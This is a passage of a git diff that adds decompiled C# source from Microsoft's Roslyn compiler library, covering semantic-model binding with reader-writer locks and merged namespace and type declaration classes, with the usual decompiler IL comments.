references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_015b: Unknown result type (might be due to invalid IL or missing references) + //IL_0160: Unknown result type (might be due to invalid IL or missing references) + //IL_019b: Unknown result type (might be due to invalid IL or missing references) + //IL_01a0: Unknown result type (might be due to invalid IL or missing references) + //IL_01b1: Unknown result type (might be due to invalid IL or missing references) + //IL_018c: Unknown result type (might be due to invalid IL or missing references) + //IL_0197: Expected O, but got Unknown + EnsureNullabilityAnalysisPerformedIfNecessary(); + ReadLockExiter val = ReaderWriterLockSlimExtensions.DisposableRead(_nodeMapLock); + OneOrMany boundNodes; + try + { + boundNodes = GuardedGetBoundNodesFromMap(lambdaOrQuery); + } + finally + { + ((IDisposable)(*(ReadLockExiter*)(&val))/*cast due to constrained. prefix*/).Dispose(); + } + if (!boundNodes.IsEmpty) + { + return GetLowerBoundNode(boundNodes); + } + CSharpSyntaxNode bindingRoot = GetBindingRoot(lambdaOrQuery); + CSharpSyntaxNode innermostLambdaOrQuery = GetInnermostLambdaOrQuery(lambdaOrQuery, ((SyntaxNode)lambdaOrQuery).SpanStart); + BoundNode boundInnerLambdaOrQuery = null; + CSharpSyntaxNode node; + Binder next; + if (innermostLambdaOrQuery == null) + { + node = bindingRoot; + next = GetEnclosingBinderInternalWithinRoot((SyntaxNode)(object)node, GetAdjustedNodePosition((SyntaxNode)(object)node)); + } + else + { + node = ((innermostLambdaOrQuery != bindingRoot && ((SyntaxNode)innermostLambdaOrQuery).Contains((SyntaxNode)(object)bindingRoot)) ? bindingRoot : lambdaOrQuery); + boundInnerLambdaOrQuery = GetBoundLambdaOrQuery(innermostLambdaOrQuery); + val = ReaderWriterLockSlimExtensions.DisposableRead(_nodeMapLock); + try + { + boundNodes = GuardedGetBoundNodesFromMap(lambdaOrQuery); + } + finally + { + ((IDisposable)(*(ReadLockExiter*)(&val))/*cast due to constrained. prefix*/).Dispose(); + } + if (!boundNodes.IsEmpty) + { + return GetLowerBoundNode(boundNodes); + } + next = GetEnclosingBinderInLambdaOrQuery(GetAdjustedNodePosition((SyntaxNode)(object)node), node, innermostLambdaOrQuery, ref boundInnerLambdaOrQuery); + } + Binder binder = new IncrementalBinder(this, next); + WriteLockExiter val2 = ReaderWriterLockSlimExtensions.DisposableWrite(_nodeMapLock); + try + { + BoundNode bound = Bind(binder, node, BindingDiagnosticBag.Discarded); + boundNodes = GuardedAddBoundTreeAndGetBoundNodeFromMap(lambdaOrQuery, bound); + } + finally + { + ((IDisposable)(*(WriteLockExiter*)(&val2))/*cast due to constrained. prefix*/).Dispose(); + } + if (!boundNodes.IsEmpty) + { + return GetLowerBoundNode(boundNodes); + } + next = ((innermostLambdaOrQuery != null) ? GetEnclosingBinderInLambdaOrQuery(GetAdjustedNodePosition((SyntaxNode)(object)lambdaOrQuery), lambdaOrQuery, innermostLambdaOrQuery, ref boundInnerLambdaOrQuery) : GetEnclosingBinderInternalWithinRoot((SyntaxNode)(object)lambdaOrQuery, GetAdjustedNodePosition((SyntaxNode)(object)lambdaOrQuery))); + binder = new IncrementalBinder(this, next); + val2 = ReaderWriterLockSlimExtensions.DisposableWrite(_nodeMapLock); + try + { + BoundNode boundNode = Bind(binder, lambdaOrQuery, BindingDiagnosticBag.Discarded); + if (!IsNullableAnalysisEnabled() && Compilation.IsNullableAnalysisEnabledAlways) + { + AnalyzeBoundNodeNullability(boundNode, binder, new DiagnosticBag(), createSnapshots: false); + } + boundNodes = GuardedAddBoundTreeAndGetBoundNodeFromMap(lambdaOrQuery, boundNode); + } + finally + { + ((IDisposable)(*(WriteLockExiter*)(&val2))/*cast due to constrained. prefix*/).Dispose(); + } + return GetLowerBoundNode(boundNodes); + } + + private Binder GetEnclosingBinderInLambdaOrQuery(int position, CSharpSyntaxNode node, CSharpSyntaxNode innerLambdaOrQuery, ref BoundNode boundInnerLambdaOrQuery) + { + Binder binder; + switch (boundInnerLambdaOrQuery.Kind) + { + case BoundKind.UnboundLambda: + boundInnerLambdaOrQuery = ((UnboundLambda)boundInnerLambdaOrQuery).BindForErrorRecovery(); + goto case BoundKind.Lambda; + case BoundKind.Lambda: + binder = GetLambdaEnclosingBinder(position, node, innerLambdaOrQuery, ((BoundLambda)boundInnerLambdaOrQuery).Binder); + break; + case BoundKind.QueryClause: + binder = GetQueryEnclosingBinder(position, node, (BoundQueryClause)boundInnerLambdaOrQuery); + break; + default: + return GetEnclosingBinderInternalWithinRoot((SyntaxNode)(object)node, position); + } + return binder.WithAdditionalFlags(GetSemanticModelBinderFlags()); + } + + private static Binder GetQueryEnclosingBinder(int position, CSharpSyntaxNode startingNode, BoundQueryClause queryClause) + { + BoundExpression boundExpression = queryClause; + do + { + switch (boundExpression.Kind) + { + case BoundKind.QueryClause: + queryClause = (BoundQueryClause)boundExpression; + boundExpression = GetQueryClauseValue(queryClause); + continue; + case BoundKind.Call: + { + BoundCall boundCall = (BoundCall)boundExpression; + boundExpression = GetContainingArgument(boundCall.Arguments, position); + if (boundExpression != null) + { + continue; + } + BoundExpression receiverOpt = boundCall.ReceiverOpt; + while (receiverOpt != null && receiverOpt.Kind == BoundKind.MethodGroup) + { + receiverOpt = ((BoundMethodGroup)receiverOpt).ReceiverOpt; + } + if (receiverOpt != null) + { + boundExpression = GetContainingExprOrQueryClause(receiverOpt, position); + if (boundExpression != null) + { + continue; + } + } + boundExpression = boundCall.Arguments.LastOrDefault(); + continue; + } + case BoundKind.Conversion: + boundExpression = ((BoundConversion)boundExpression).Operand; + continue; + case BoundKind.UnboundLambda: + { + UnboundLambda unboundLambda = (UnboundLambda)boundExpression; + return GetEnclosingBinderInternalWithinRoot(AdjustStartingNodeAccordingToNewRoot((SyntaxNode)(object)startingNode, unboundLambda.Syntax), position, unboundLambda.BindForErrorRecovery().Binder, unboundLambda.Syntax); + } + case BoundKind.Lambda: + { + BoundLambda boundLambda = (BoundLambda)boundExpression; + return GetEnclosingBinderInternalWithinRoot(AdjustStartingNodeAccordingToNewRoot((SyntaxNode)(object)startingNode, boundLambda.Body.Syntax), position, boundLambda.Binder, boundLambda.Body.Syntax); + } + } + break; + } + while (boundExpression != null); + return GetEnclosingBinderInternalWithinRoot(AdjustStartingNodeAccordingToNewRoot((SyntaxNode)(object)startingNode, queryClause.Syntax), position, queryClause.Binder, queryClause.Syntax); + } + + private static BoundExpression GetContainingArgument(ImmutableArray arguments, int position) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = null; + TextSpan val = default(TextSpan); + ImmutableArray.Enumerator enumerator = arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression containingExprOrQueryClause = GetContainingExprOrQueryClause(enumerator.Current, position); + if (containingExprOrQueryClause != null) + { + TextSpan fullSpan = containingExprOrQueryClause.Syntax.FullSpan; + if (boundExpression == null || ((TextSpan)(ref val)).Contains(fullSpan)) + { + boundExpression = containingExprOrQueryClause; + val = fullSpan; + } + } + } + return boundExpression; + } + + private static BoundExpression GetContainingExprOrQueryClause(BoundExpression expr, int position) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + TextSpan fullSpan; + if (expr.Kind == BoundKind.QueryClause) + { + BoundExpression queryClauseValue = GetQueryClauseValue((BoundQueryClause)expr); + fullSpan = queryClauseValue.Syntax.FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(position)) + { + return queryClauseValue; + } + } + fullSpan = expr.Syntax.FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(position)) + { + return expr; + } + return null; + } + + private static BoundExpression GetQueryClauseValue(BoundQueryClause queryClause) + { + return queryClause.UnoptimizedForm ?? queryClause.Value; + } + + private static SyntaxNode AdjustStartingNodeAccordingToNewRoot(SyntaxNode startingNode, SyntaxNode root) + { + SyntaxNode val = (startingNode.Contains(root) ? root : startingNode); + if (val != root && !root.Contains(val)) + { + val = root; + } + return val; + } + + private static Binder GetLambdaEnclosingBinder(int position, CSharpSyntaxNode startingNode, CSharpSyntaxNode containingLambda, Binder lambdaBinder) + { + return GetEnclosingBinderInternalWithinRoot((SyntaxNode)(object)startingNode, position, lambdaBinder, (SyntaxNode)(object)containingLambda); + } + + protected unsafe void EnsureNullabilityAnalysisPerformedIfNecessary() + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + bool flag = IsNullableAnalysisEnabled(); + if ((!flag && !Compilation.IsNullableAnalysisEnabledAlways) || _lazySnapshotManager != null) + { + return; + } + CSharpSyntaxNode bindableRoot = GetBindableSyntaxNode(Root); + UpgradeableReadLockExiter val = ReaderWriterLockSlimExtensions.DisposableUpgradeableRead(_nodeMapLock); + ImmutableDictionary remappedSymbols; + BoundNode boundRoot; + Binder binder; + NullableWalker.SnapshotManager snapshotManager; + try + { + if (_guardedBoundNodeMap.Count > 0) + { + return; + } + ((UpgradeableReadLockExiter)(ref val)).EnterWrite(); + remappedSymbols = _parentRemappedSymbolsOpt; + boundRoot = bind(bindableRoot, out binder); + if (((SemanticModel)this).IsSpeculativeSemanticModel) + { + NullableWalker.SnapshotManager parentSnapshotManagerOpt = ((SpeculativeSemanticModelWithMemberModel)_containingPublicSemanticModel).ParentSnapshotManagerOpt; + if (parentSnapshotManagerOpt == null || !flag) + { + rewriteAndCache(); + return; + } + boundRoot = NullableWalker.AnalyzeAndRewriteSpeculation(((SemanticModel)_containingPublicSemanticModel).OriginalPositionForSpeculation, boundRoot, binder, parentSnapshotManagerOpt, out NullableWalker.SnapshotManager newSnapshots, ref remappedSymbols); + GuardedAddBoundTreeForStandaloneSyntax((SyntaxNode)(object)bindableRoot, boundRoot, newSnapshots, remappedSymbols); + } + else + { + rewriteAndCache(); + } + } + finally + { + ((IDisposable)(*(UpgradeableReadLockExiter*)(&val))/*cast due to constrained. prefix*/).Dispose(); + } + BoundNode bind(CSharpSyntaxNode root, out Binder reference) + { + reference = GetBinderToBindNode(root); + return Bind(reference, root, BindingDiagnosticBag.Discarded); + } + void rewriteAndCache() + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + boundRoot = RewriteNullableBoundNodesWithSnapshots(boundRoot, binder, instance, createSnapshots: true, out snapshotManager, ref remappedSymbols); + instance.Free(); + GuardedAddBoundTreeForStandaloneSyntax((SyntaxNode)(object)bindableRoot, boundRoot, snapshotManager, remappedSymbols); + } + } + + private Binder GetBinderToBindNode(CSharpSyntaxNode nodeToBind) + { + if (nodeToBind is CompilationUnitSyntax) + { + return RootBinder.GetBinder((SyntaxNode)(object)nodeToBind); + } + return GetEnclosingBinder(GetAdjustedNodePosition((SyntaxNode)(object)nodeToBind)); + } + + protected abstract BoundNode RewriteNullableBoundNodesWithSnapshots(BoundNode boundRoot, Binder binder, DiagnosticBag diagnostics, bool createSnapshots, out NullableWalker.SnapshotManager? snapshotManager, ref ImmutableDictionary? remappedSymbols); + + protected abstract void AnalyzeBoundNodeNullability(BoundNode boundRoot, Binder binder, DiagnosticBag diagnostics, bool createSnapshots); + + protected abstract bool IsNullableAnalysisEnabled(); + + internal unsafe OneOrMany GetBoundNodes(CSharpSyntaxNode node) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_012a: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_0109: Unknown result type (might be due to invalid IL or missing references) + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + //IL_012c: Unknown result type (might be due to invalid IL or missing references) + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + if (node == null) + { + node = GetBindableSyntaxNode(Root); + } + EnsureNullabilityAnalysisPerformedIfNecessary(); + ReadLockExiter val = ReaderWriterLockSlimExtensions.DisposableRead(_nodeMapLock); + OneOrMany result; + try + { + result = GuardedGetBoundNodesFromMap(node); + } + finally + { + ((IDisposable)(*(ReadLockExiter*)(&val))/*cast due to constrained. prefix*/).Dispose(); + } + if (!result.IsEmpty) + { + return result; + } + CSharpSyntaxNode bindingRoot = GetBindingRoot(node); + Binder binderToBindNode = GetBinderToBindNode(bindingRoot); + Binder binder = new IncrementalBinder(this, binderToBindNode); + WriteLockExiter val2 = ReaderWriterLockSlimExtensions.DisposableWrite(_nodeMapLock); + try + { + BoundNode bound = Bind(binder, bindingRoot, BindingDiagnosticBag.Discarded); + result = GuardedAddBoundTreeAndGetBoundNodeFromMap(node, bound); + } + finally + { + ((IDisposable)(*(WriteLockExiter*)(&val2))/*cast due to constrained. prefix*/).Dispose(); + } + if (!result.IsEmpty) + { + return result; + } + Binder binderToBindNode2 = GetBinderToBindNode(node); + binder = new IncrementalBinder(this, binderToBindNode2); + val = ReaderWriterLockSlimExtensions.DisposableRead(_nodeMapLock); + try + { + result = GuardedGetBoundNodesFromMap(node); + } + finally + { + ((IDisposable)(*(ReadLockExiter*)(&val))/*cast due to constrained. prefix*/).Dispose(); + } + if (result.IsEmpty) + { + val2 = ReaderWriterLockSlimExtensions.DisposableWrite(_nodeMapLock); + try + { + BoundNode bound2 = Bind(binder, node, BindingDiagnosticBag.Discarded); + GuardedAddBoundTreeForStandaloneSyntax((SyntaxNode)(object)node, bound2); + result = GuardedGetBoundNodesFromMap(node); + } + finally + { + ((IDisposable)(*(WriteLockExiter*)(&val2))/*cast due to constrained. prefix*/).Dispose(); + } + if (!result.IsEmpty) + { + return result; + } + return OneOrMany.Empty; + } + return result; + } + + protected internal virtual CSharpSyntaxNode GetBindableSyntaxNode(CSharpSyntaxNode node) + { + //IL_0171: Unknown result type (might be due to invalid IL or missing references) + //IL_0176: Unknown result type (might be due to invalid IL or missing references) + switch (node.Kind()) + { + case SyntaxKind.GlobalStatement: + case SyntaxKind.MethodDeclaration: + case SyntaxKind.OperatorDeclaration: + case SyntaxKind.ConversionOperatorDeclaration: + case SyntaxKind.ConstructorDeclaration: + case SyntaxKind.DestructorDeclaration: + case SyntaxKind.GetAccessorDeclaration: + case SyntaxKind.SetAccessorDeclaration: + case SyntaxKind.AddAccessorDeclaration: + case SyntaxKind.RemoveAccessorDeclaration: + case SyntaxKind.Subpattern: + case SyntaxKind.InitAccessorDeclaration: + return node; + case SyntaxKind.PositionalPatternClause: + return node.Parent; + } + while (true) + { + if (!(node is ParenthesizedExpressionSyntax parenthesizedExpressionSyntax)) + { + if (!(node is CheckedExpressionSyntax checkedExpressionSyntax)) + { + if (node is PostfixUnaryExpressionSyntax postfixUnaryExpressionSyntax) + { + if (((SyntaxNode)node).RawKind != 9054) + { + break; + } + node = postfixUnaryExpressionSyntax.Operand; + } + else if (!(node is UnsafeStatementSyntax unsafeStatementSyntax)) + { + if (!(node is CheckedStatementSyntax checkedStatementSyntax)) + { + break; + } + node = checkedStatementSyntax.Block; + } + else + { + node = unsafeStatementSyntax.Block; + } + } + else + { + node = checkedExpressionSyntax.Expression; + } + } + else + { + node = parenthesizedExpressionSyntax.Expression; + } + } + CSharpSyntaxNode parent = node.Parent; + if (parent != null && node != Root) + { + switch (node.Kind()) + { + case SyntaxKind.IdentifierName: + case SyntaxKind.GenericName: + { + CSharpSyntaxNode standaloneNode = SyntaxFactory.GetStandaloneNode(node); + if (standaloneNode != node) + { + return GetBindableSyntaxNode(standaloneNode); + } + break; + } + case SyntaxKind.AnonymousObjectMemberDeclarator: + return GetBindableSyntaxNode(parent); + case SyntaxKind.VariableDeclarator: + { + CSharpSyntaxNode parent2 = parent.Parent; + if (parent2 != null && parent2.Kind() == SyntaxKind.LocalDeclarationStatement && ((VariableDeclarationSyntax)parent).Variables.Count == 1) + { + return GetBindableSyntaxNode(parent); + } + break; + } + default: + if ((node is QueryExpressionSyntax && parent is QueryContinuationSyntax) || (!(node is ExpressionSyntax) && !(node is StatementSyntax) && !(node is SelectOrGroupClauseSyntax) && !(node is QueryClauseSyntax) && !(node is OrderingSyntax) && !(node is JoinIntoClauseSyntax) && !(node is QueryContinuationSyntax) && !(node is ConstructorInitializerSyntax) && !(node is PrimaryConstructorBaseTypeSyntax) && !(node is ArrowExpressionClauseSyntax) && !(node is PatternSyntax))) + { + return GetBindableSyntaxNode(parent); + } + break; + } + } + return node; + } + + protected CSharpSyntaxNode? GetBindableParentNode(CSharpSyntaxNode node) + { + if (!(node is ExpressionSyntax)) + { + return null; + } + CSharpSyntaxNode cSharpSyntaxNode = node.Parent; + if (cSharpSyntaxNode == null) + { + if (((SemanticModel)this).IsSpeculativeSemanticModel && Root == node) + { + return null; + } + throw new ArgumentException("The parent of node must not be null unless this is a speculative semantic model.", "node"); + } + while (true) + { + SyntaxKind syntaxKind = cSharpSyntaxNode.Kind(); + if (syntaxKind != SyntaxKind.ParenthesizedExpression && syntaxKind - 9050 > SyntaxKind.List && syntaxKind != SyntaxKind.ScopedType) + { + break; + } + CSharpSyntaxNode parent = cSharpSyntaxNode.Parent; + if (parent != null) + { + cSharpSyntaxNode = parent; + } + } + CSharpSyntaxNode cSharpSyntaxNode2 = GetBindableSyntaxNode(cSharpSyntaxNode); + ArrayTypeSyntax arrayTypeSyntax; + if (cSharpSyntaxNode2 != null) + { + int rawKind = ((SyntaxNode)cSharpSyntaxNode2).RawKind; + if (rawKind == 8689) + { + CSharpSyntaxNode parent2 = cSharpSyntaxNode2.Parent; + if (parent2 == null || ((SyntaxNode)parent2).RawKind != 8634) + { + arrayTypeSyntax = cSharpSyntaxNode2 as ArrayTypeSyntax; + if (arrayTypeSyntax != null) + { + goto IL_00ca; + } + } + else + { + cSharpSyntaxNode2 = cSharpSyntaxNode2.Parent; + } + } + else + { + arrayTypeSyntax = cSharpSyntaxNode2 as ArrayTypeSyntax; + if (arrayTypeSyntax != null) + { + goto IL_00ca; + } + if (rawKind == 8648) + { + cSharpSyntaxNode2 = null; + } + } + } + goto IL_00d6; + IL_00ca: + cSharpSyntaxNode2 = SyntaxFactory.GetStandaloneExpression(arrayTypeSyntax); + goto IL_00d6; + IL_00d6: + return cSharpSyntaxNode2; + } + + internal override Symbol RemapSymbolIfNecessaryCore(Symbol symbol) + { + EnsureNullabilityAnalysisPerformedIfNecessary(); + if (_lazyRemappedSymbols == null) + { + return symbol; + } + if (_lazyRemappedSymbols.TryGetValue(symbol, out var value)) + { + return value; + } + return symbol; + } + + internal sealed override Func GetSyntaxNodesToAnalyzeFilter(SyntaxNode declaredNode, ISymbol declaredSymbol) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/MemberSemanticModel.cs", 2336); + } + + internal sealed override bool ShouldSkipSyntaxNodeAnalysis(SyntaxNode node, ISymbol containingSymbol) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compilation/MemberSemanticModel.cs", 2341); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MergedNamespaceDeclaration.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MergedNamespaceDeclaration.cs new file mode 100644 index 0000000..4e1f7d5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MergedNamespaceDeclaration.cs @@ -0,0 +1,159 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class MergedNamespaceDeclaration : MergedNamespaceOrTypeDeclaration +{ + private readonly ImmutableArray _declarations; + + private ImmutableArray _lazyChildren; + + public override DeclarationKind Kind => DeclarationKind.Namespace; + + public ImmutableArray NameLocations + { + get + { + if (_declarations.Length == 1) + { + return ImmutableArray.Create((Location)(object)_declarations[0].NameLocation); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = _declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SourceLocation nameLocation = enumerator.Current.NameLocation; + if ((Location)(object)nameLocation != (Location)null) + { + instance.Add((Location)(object)nameLocation); + } + } + return instance.ToImmutableAndFree(); + } + } + + public ImmutableArray Declarations => _declarations; + + public new ImmutableArray Children + { + get + { + if (_lazyChildren.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyChildren, MakeChildren()); + } + return _lazyChildren; + } + } + + private MergedNamespaceDeclaration(ImmutableArray declarations) + : base(declarations.IsEmpty ? string.Empty : declarations[0].Name) + { + _declarations = declarations; + } + + public static MergedNamespaceDeclaration Create(ImmutableArray declarations) + { + return new MergedNamespaceDeclaration(declarations); + } + + public static MergedNamespaceDeclaration Create(SingleNamespaceDeclaration declaration) + { + return new MergedNamespaceDeclaration(ImmutableArray.Create(declaration)); + } + + public LexicalSortKey GetLexicalSortKey(CSharpCompilation compilation) + { + LexicalSortKey lexicalSortKey = new LexicalSortKey((Location)(object)_declarations[0].NameLocation, compilation); + for (int i = 1; i < _declarations.Length; i++) + { + lexicalSortKey = LexicalSortKey.First(lexicalSortKey, new LexicalSortKey((Location)(object)_declarations[i].NameLocation, compilation)); + } + return lexicalSortKey; + } + + protected override ImmutableArray GetDeclarationChildren() + { + return StaticCast.From(Children); + } + + private ImmutableArray MakeChildren() + { + ArrayBuilder val = null; + ArrayBuilder val2 = null; + bool flag = true; + bool flag2 = true; + ImmutableArray.Enumerator enumerator = _declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.Children.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SingleNamespaceOrTypeDeclaration current = enumerator2.Current; + if (current is SingleTypeDeclaration singleTypeDeclaration) + { + if (val2 == null) + { + val2 = ArrayBuilder.GetInstance(); + } + else if (flag2 && !singleTypeDeclaration.Identity.Equals(val2[0].Identity)) + { + flag2 = false; + } + val2.Add(singleTypeDeclaration); + } + else if (current is SingleNamespaceDeclaration singleNamespaceDeclaration) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(); + } + else if (flag && !singleNamespaceDeclaration.Name.Equals(val[0].Name)) + { + flag = false; + } + val.Add(singleNamespaceDeclaration); + } + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (val != null) + { + if (flag) + { + instance.Add((MergedNamespaceOrTypeDeclaration)Create(val.ToImmutableAndFree())); + } + else + { + Dictionary> dictionary = val.ToDictionary((Func)((SingleNamespaceDeclaration n) => n.Name), (IEqualityComparer)StringOrdinalComparer.Instance); + val.Free(); + foreach (ImmutableArray value in dictionary.Values) + { + instance.Add((MergedNamespaceOrTypeDeclaration)Create(value)); + } + } + } + if (val2 != null) + { + if (flag2) + { + instance.Add((MergedNamespaceOrTypeDeclaration)new MergedTypeDeclaration(val2.ToImmutableAndFree())); + } + else + { + Dictionary> dictionary2 = val2.ToDictionary((Func)((SingleTypeDeclaration t) => t.Identity), (IEqualityComparer)null); + val2.Free(); + foreach (ImmutableArray value2 in dictionary2.Values) + { + instance.Add((MergedNamespaceOrTypeDeclaration)new MergedTypeDeclaration(value2)); + } + } + } + return instance.ToImmutableAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MergedNamespaceOrTypeDeclaration.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MergedNamespaceOrTypeDeclaration.cs new file mode 100644 index 0000000..4976949 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MergedNamespaceOrTypeDeclaration.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class MergedNamespaceOrTypeDeclaration : Declaration +{ + protected MergedNamespaceOrTypeDeclaration(string name) + : base(name) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MergedTypeDeclaration.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MergedTypeDeclaration.cs new file mode 100644 index 0000000..c973afe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MergedTypeDeclaration.cs @@ -0,0 +1,224 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal sealed class MergedTypeDeclaration : MergedNamespaceOrTypeDeclaration +{ + private readonly ImmutableArray _declarations; + + private ImmutableArray _lazyChildren; + + private ICollection _lazyMemberNames; + + public ImmutableArray Declarations => _declarations; + + public ImmutableArray SyntaxReferences => ImmutableArrayExtensions.SelectAsArray(_declarations, (Func)((SingleTypeDeclaration r) => r.SyntaxReference)); + + public override DeclarationKind Kind => Declarations[0].Kind; + + public int Arity => Declarations[0].Arity; + + public bool ContainsExtensionMethods + { + get + { + ImmutableArray.Enumerator enumerator = Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.AnyMemberHasExtensionMethodSyntax) + { + return true; + } + } + return false; + } + } + + public bool HasPrimaryConstructor + { + get + { + ImmutableArray.Enumerator enumerator = Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.HasPrimaryConstructor) + { + return true; + } + } + return false; + } + } + + public bool AnyMemberHasAttributes + { + get + { + ImmutableArray.Enumerator enumerator = Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.AnyMemberHasAttributes) + { + return true; + } + } + return false; + } + } + + public OneOrMany NameLocations + { + get + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + if (Declarations.Length == 1) + { + return OneOrMany.Create(Declarations[0].NameLocation); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(Declarations.Length); + ImmutableArray.Enumerator enumerator = Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleTypeDeclaration current = enumerator.Current; + ArrayBuilderExtensions.AddIfNotNull(instance, current.NameLocation); + } + return ArrayBuilderExtensions.ToOneOrManyAndFree(instance); + } + } + + public new ImmutableArray Children + { + get + { + if (_lazyChildren.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyChildren, MakeChildren()); + } + return _lazyChildren; + } + } + + public ICollection MemberNames + { + get + { + if (_lazyMemberNames == null) + { + ICollection value = UnionCollection.Create(Declarations, (Func>)((SingleTypeDeclaration d) => (ICollection)(object)d.MemberNames.Value)); + Interlocked.CompareExchange(ref _lazyMemberNames, value, null); + } + return _lazyMemberNames; + } + } + + internal MergedTypeDeclaration(ImmutableArray declarations) + : base(declarations[0].Name) + { + _declarations = declarations; + } + + public ImmutableArray> GetAttributeDeclarations(QuickAttributes? quickAttributes) + { + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + ImmutableArray.Enumerator enumerator = _declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleTypeDeclaration current = enumerator.Current; + if (current.HasAnyAttributes && (!quickAttributes.HasValue || (current.QuickAttributes & quickAttributes.Value) != QuickAttributes.None)) + { + SyntaxNode syntax = current.SyntaxReference.GetSyntax(default(CancellationToken)); + SyntaxList attributeLists; + switch (syntax.Kind()) + { + case SyntaxKind.ClassDeclaration: + case SyntaxKind.StructDeclaration: + case SyntaxKind.InterfaceDeclaration: + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + attributeLists = 